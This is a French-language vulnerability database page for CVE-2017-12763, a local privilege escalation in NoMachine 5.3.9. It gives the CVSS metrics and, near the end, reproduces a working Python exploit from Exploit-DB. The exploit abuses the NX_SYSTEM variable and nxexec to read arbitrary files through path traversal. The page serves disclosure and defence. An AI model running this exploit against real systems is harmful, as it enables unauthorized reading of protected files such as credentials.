CVE-2017-12763 : Détail

CVE-2017-12763

8.8
/
Haute
A01-Broken Access Control
0.38%V3
Network
2017-08-29
13h00 +00:00
2017-08-29
12h57 +00:00
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Descriptions du CVE

An unspecified server utility in NoMachine before 5.3.10 on Mac OS X and Linux allows authenticated users to gain privileges by gaining access to local files.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-276 Incorrect Default Permissions
During installation, installed file permissions are set to allow anyone to modify those files.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 42460

Date de publication : 2017-08-08 22h00 +00:00
Auteur : Daniele Linguaglossa
EDB Vérifié : No

""" # Exploit Title: NoMachine LPE - Local Privilege Escalation # Date: 09/08/2017 # Exploit Author: Daniele Linguaglossa # Vendor Homepage: https://www.nomachine.com # Software Link: https://www.nomachine.com # Version: 5.3.9 # Tested on: OSX # CVE : CVE-2017-12763 NoMachine uses a file called nxexec in order to execute different action as super user, nxexec allow to execute sh files within a sandboxed path, additionally other checks such as parent process name, parent process path are performed in order to be sure only NoMachine application are allowed to execute nxexec. nxnode.bin allow to spoof a local path via NX_SYSTEM environment variable, this is use to craft a path where a perl file will be executed, this PoC exploit the NX_SYSTEM variable in order to allow a custom perl file to call nxexec and execute privileged nxcat.sh script in order to read any file on filesystem. """ import os import sys print "[!] NoMachine - EoP - Read any file by @dzonerzy" if len(sys.argv) == 4: nxnode = sys.argv[1] nxexec = sys.argv[2] toread = sys.argv[3] user = os.environ.get("USER") tmp_path = "/tmp/lib/perl/nxnode" tmp_file = "/tmp/lib/perl/nxnode/nxnode.pl" tmp_file_content = "print \"[*] Exploiting vulnerability\\n\";" \ "system(\"{0} " \ "nxcat.sh 1 {1} 2 '../../../../../..{2}'\");".format(nxexec, user, toread) print "[*] Crafting tmp environment" os.system("mkdir -p {0}".format(tmp_path)) with open(tmp_file,"w") as tmp: tmp.write(tmp_file_content) tmp.close() os.system("NX_SYSTEM=/tmp {0}".format(nxnode)) os.unlink(tmp_file) os.system("rm -r /tmp/lib") else: print "Usage: {0} <path of nxnode.bin> <path of nxexec> <file to read>".format(sys.argv[0])

Products Mentioned

Configuraton 0

Nomachine>>Nomachine >> Version To (including) 5.3.9

Apple>>Mac_os_x >> Version -

Linux>>Linux_kernel >> Version -

Références

https://www.nomachine.com/SU08O00185
Tags : x_refsource_CONFIRM